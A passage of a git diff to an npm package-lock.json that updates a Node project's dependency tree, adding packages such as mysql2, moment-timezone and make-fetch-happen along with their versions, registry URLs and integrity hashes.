+      "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==",
+      "optional": true
+    },
     "node_modules/hasown": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
       "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
-      "dev": true,
       "dependencies": {
         "function-bind": "^1.1.2"
       },
@@ -305,103 +826,1075 @@
         "node": ">= 0.4"
       }
     },
-    "node_modules/is-core-module": {
-      "version": "2.13.1",
-      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz",
-      "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==",
-      "dev": true,
+    "node_modules/http-cache-semantics": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz",
+      "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==",
+      "optional": true
+    },
+    "node_modules/http-proxy-agent": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+      "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+      "optional": true,
       "dependencies": {
-        "hasown": "^2.0.0"
+        "@tootallnate/once": "1",
+        "agent-base": "6",
+        "debug": "4"
       },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
+      "engines": {
+        "node": ">= 6"
       }
     },
-    "node_modules/js-tokens": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz",
-      "integrity": "sha512-RjTcuD4xjtthQkaWH7dFlH85L+QaVtSoOyGdZ3g6HFhS9dFNDfLyqgm2NFe2X6cQpeFmt0452FJjFG5UameExg==",
-      "dev": true
-    },
-    "node_modules/jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
-      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
-      "dev": true,
-      "bin": {
-        "jsesc": "bin/jsesc"
+    "node_modules/http-proxy-agent/node_modules/debug": {
+      "version": "4.3.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
+      "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.1.3"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
       }
     },
-    "node_modules/json5": {
-      "version": "0.5.1",
-      "resolved": "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz",
-      "integrity": "sha512-4xrs1aW+6N5DalkqSVA8fxh458CXvR99WU8WLKmq4v8eWAL86Xo3BVqyd3SkA9wEVjCMqyvvRRkshAdOnBp5rw==",
-      "dev": true,
-      "bin": {
-        "json5": "lib/cli.js"
+    "node_modules/https-proxy-agent": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+      "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "optional": true,
+      "dependencies": {
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
       }
     },
-    "node_modules/lodash": {
-      "version": "4.16.1",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.16.1.tgz",
-      "integrity": "sha512-qK+vzI6bQ91q3gkfBKpO0rgR0qV6ECjT1+ZBprnFejldHGi74AQ9MPWfSreqqzaF0aLRC7qnnYb5AjTwLXSNKw=="
-    },
-    "node_modules/ms": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
-      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
-      "dev": true
-    },
-    "node_modules/path-parse": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
-      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
-      "dev": true
-    },
-    "node_modules/resolve": {
-      "version": "1.22.8",
-      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
-      "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
-      "dev": true,
+    "node_modules/https-proxy-agent/node_modules/debug": {
+      "version": "4.3.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
+      "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
+      "optional": true,
       "dependencies": {
-        "is-core-module": "^2.13.0",
-        "path-parse": "^1.0.7",
-        "supports-preserve-symlinks-flag": "^1.0.0"
+        "ms": "^2.1.3"
       },
-      "bin": {
-        "resolve": "bin/resolve"
+      "engines": {
+        "node": ">=6.0"
       },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
       }
     },
-    "node_modules/semver": {
-      "version": "5.4.1",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-5.4.1.tgz",
-      "integrity": "sha512-WfG/X9+oATh81XtllIo/I8gOiY9EXRdv1cQdyykeXK17YcUW3EXUAi2To4pcH6nZtJPr7ZOpM5OMyWJZm+8Rsg==",
-      "bin": {
-        "semver": "bin/semver"
+    "node_modules/humanize-ms": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz",
+      "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.0.0"
       }
     },
-    "node_modules/source-map": {
-      "version": "0.5.7",
-      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-      "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==",
-      "dev": true,
+    "node_modules/iconv-lite": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+      "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3.0.0"
+      },
       "engines": {
         "node": ">=0.10.0"
       }
     },
-    "node_modules/supports-color": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
-      "dev": true,
-      "dependencies": {
-        "has-flag": "^3.0.0"
+    "node_modules/ieee754": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/imurmurhash": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+      "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+      "optional": true,
+      "engines": {
+        "node": ">=0.8.19"
+      }
+    },
+    "node_modules/indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+      "optional": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/infer-owner": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
+      "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==",
+      "optional": true
+    },
+    "node_modules/inflection": {
+      "version": "1.12.0",
+      "resolved": "https://registry.npmjs.org/inflection/-/inflection-1.12.0.tgz",
+      "integrity": "sha512-lRy4DxuIFWXlJU7ed8UiTJOSTqStqYdEb4CEbtXfNbkdj3nH1L+reUWiE10VWcJS2yR7tge8Z74pJjtBjNwj0w==",
+      "engines": [
+        "node >= 0.4.0"
+      ]
+    },
+    "node_modules/inflight": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+      "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
+      "optional": true,
+      "dependencies": {
+        "once": "^1.3.0",
+        "wrappy": "1"
+      }
+    },
+    "node_modules/inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+    },
+    "node_modules/ini": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+    },
+    "node_modules/ip-address": {
+      "version": "9.0.5",
+      "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz",
+      "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==",
+      "optional": true,
+      "dependencies": {
+        "jsbn": "1.1.0",
+        "sprintf-js": "^1.1.3"
+      },
+      "engines": {
+        "node": ">= 12"
+      }
+    },
+    "node_modules/is-bluebird": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-bluebird/-/is-bluebird-1.0.2.tgz",
+      "integrity": "sha512-PDRu1vVip5dGQg5tfn2qVCCyxbBYu5MhYUJwSfL/RoGBI97n1fxvilVazxzptZW0gcmsMH17H4EVZZI5E/RSeA==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-core-module": {
+      "version": "2.15.1",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.15.1.tgz",
+      "integrity": "sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==",
+      "dependencies": {
+        "hasown": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-fullwidth-code-point": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "optional": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-lambda": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz",
+      "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==",
+      "optional": true
+    },
+    "node_modules/is-property": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz",
+      "integrity": "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g=="
+    },
+    "node_modules/isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+      "optional": true
+    },
+    "node_modules/jquery": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.1.0.tgz",
+      "integrity": "sha512-QyJAvw0LUlUPci88C5LTFNtg4WFs70Dkqmwq4rZyOBflduKnHZakpIIDjhZVygAQbUqaghv6msUyP5TmRoNevQ=="
+    },
+    "node_modules/js-tokens": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz",
+      "integrity": "sha512-RjTcuD4xjtthQkaWH7dFlH85L+QaVtSoOyGdZ3g6HFhS9dFNDfLyqgm2NFe2X6cQpeFmt0452FJjFG5UameExg=="
+    },
+    "node_modules/jsbn": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz",
+      "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==",
+      "optional": true
+    },
+    "node_modules/jsesc": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/json5": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz",
+      "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==",
+      "bin": {
+        "json5": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/lodash": {
+      "version": "4.16.1",
+      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.16.1.tgz",
+      "integrity": "sha512-qK+vzI6bQ91q3gkfBKpO0rgR0qV6ECjT1+ZBprnFejldHGi74AQ9MPWfSreqqzaF0aLRC7qnnYb5AjTwLXSNKw=="
+    },
+    "node_modules/long": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz",
+      "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA=="
+    },
+    "node_modules/lru-cache": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+      "dependencies": {
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/make-fetch-happen": {
+      "version": "9.1.0",
+      "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz",
+      "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==",
+      "optional": true,
+      "dependencies": {
+        "agentkeepalive": "^4.1.3",
+        "cacache": "^15.2.0",
+        "http-cache-semantics": "^4.1.0",
+        "http-proxy-agent": "^4.0.1",
+        "https-proxy-agent": "^5.0.0",
+        "is-lambda": "^1.0.1",
+        "lru-cache": "^6.0.0",
+        "minipass": "^3.1.3",
+        "minipass-collect": "^1.0.2",
+        "minipass-fetch": "^1.3.2",
+        "minipass-flush": "^1.0.5",
+        "minipass-pipeline": "^1.2.4",
+        "negotiator": "^0.6.2",
+        "promise-retry": "^2.0.1",
+        "socks-proxy-agent": "^6.0.0",
+        "ssri": "^8.0.0"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/mimic-response": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
+      "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/mini-html-parser": {
+      "version": "0.0.3",
+      "resolved": "https://registry.npmjs.org/mini-html-parser/-/mini-html-parser-0.0.3.tgz",
+      "integrity": "sha512-qFDnh3zny/LtK5VLmXIX3V+MgC/D9ZV+exiXWIeoo8aaSoVrvfgsek0VJRq24sMUMWCq0gxBo6X2bY4mMfamag==",
+      "dependencies": {
+        "debug": "~0.7.4"
+      }
+    },
+    "node_modules/mini-html-parser/node_modules/debug": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-0.7.4.tgz",
+      "integrity": "sha512-EohAb3+DSHSGx8carOSKJe8G0ayV5/i609OD0J2orCkuyae7SyZSz2aoLmQF2s0Pj5gITDebwPH7GFBlqOUQ1Q==",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/minimatch": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+      "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+      "optional": true,
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/minimist": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
+      "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/minipass": {
+      "version": "3.3.6",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+      "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+      "dependencies": {
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/minipass-collect": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",
+      "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/minipass-fetch": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz",
+      "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.1.0",
+        "minipass-sized": "^1.0.3",
+        "minizlib": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "optionalDependencies": {
+        "encoding": "^0.1.12"
+      }
+    },
+    "node_modules/minipass-flush": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz",
+      "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/minipass-pipeline": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz",
+      "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/minipass-sized": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz",
+      "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/minizlib": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
+      "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
+      "dependencies": {
+        "minipass": "^3.0.0",
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/mkdirp": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+      "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+      "bin": {
+        "mkdirp": "bin/cmd.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/mkdirp-classic": {
+      "version": "0.5.3",
+      "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
+      "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A=="
+    },
+    "node_modules/moment": {
+      "version": "2.30.1",
+      "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz",
+      "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/moment-timezone": {
+      "version": "0.5.45",
+      "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.45.tgz",
+      "integrity": "sha512-HIWmqA86KcmCAhnMAN0wuDOARV/525R2+lOLotuGFzn4HO+FH+/645z2wx0Dt3iDv6/p61SIvKnDstISainhLQ==",
+      "dependencies": {
+        "moment": "^2.29.4"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+    },
+    "node_modules/mysql2": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/mysql2/-/mysql2-2.3.3.tgz",
+      "integrity": "sha512-wxJUev6LgMSgACDkb/InIFxDprRa6T95+VEoR+xPvtngtccNH2dGjEB/fVZ8yg1gWv1510c9CvXuJHi5zUm0ZA==",
+      "license": "MIT",
+      "dependencies": {
+        "denque": "^2.0.1",
+        "generate-function": "^2.3.1",
+        "iconv-lite": "^0.6.3",
+        "long": "^4.0.0",
+        "lru-cache": "^6.0.0",
+        "named-placeholders": "^1.1.2",
+        "seq-queue": "^0.0.5",
+        "sqlstring": "^2.3.2"
+      },
+      "engines": {
+        "node": ">= 8.0"
+      }
+    },
+    "node_modules/named-placeholders": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/named-placeholders/-/named-placeholders-1.1.3.tgz",
+      "integrity": "sha512-eLoBxg6wE/rZkJPhU/xRX1WTpkFEwDJEN96oxFrTsqBdbT5ec295Q+CoHrL9IT0DipqKhmGcaZmwOt8OON5x1w==",
+      "dependencies": {
+        "lru-cache": "^7.14.1"
+      },
+      "engines": {
+        "node": ">=12.0.0"
+      }
+    },
+    "node_modules/named-placeholders/node_modules/lru-cache": {
+      "version": "7.18.3",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz",
+      "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/napi-build-utils": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz",
+      "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg=="
+    },
+    "node_modules/negotiator": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+      "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
+      "optional": true,
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/node-abi": {
+      "version": "3.67.0",
+      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.67.0.tgz",
+      "integrity": "sha512-bLn/fU/ALVBE9wj+p4Y21ZJWYFjUXLXPi/IewyLZkx3ApxKDNBWCKdReeKOtD8dWpOdDCeMyLh6ZewzcLsG2Nw==",
+      "dependencies": {
+        "semver": "^7.3.5"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/node-addon-api": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
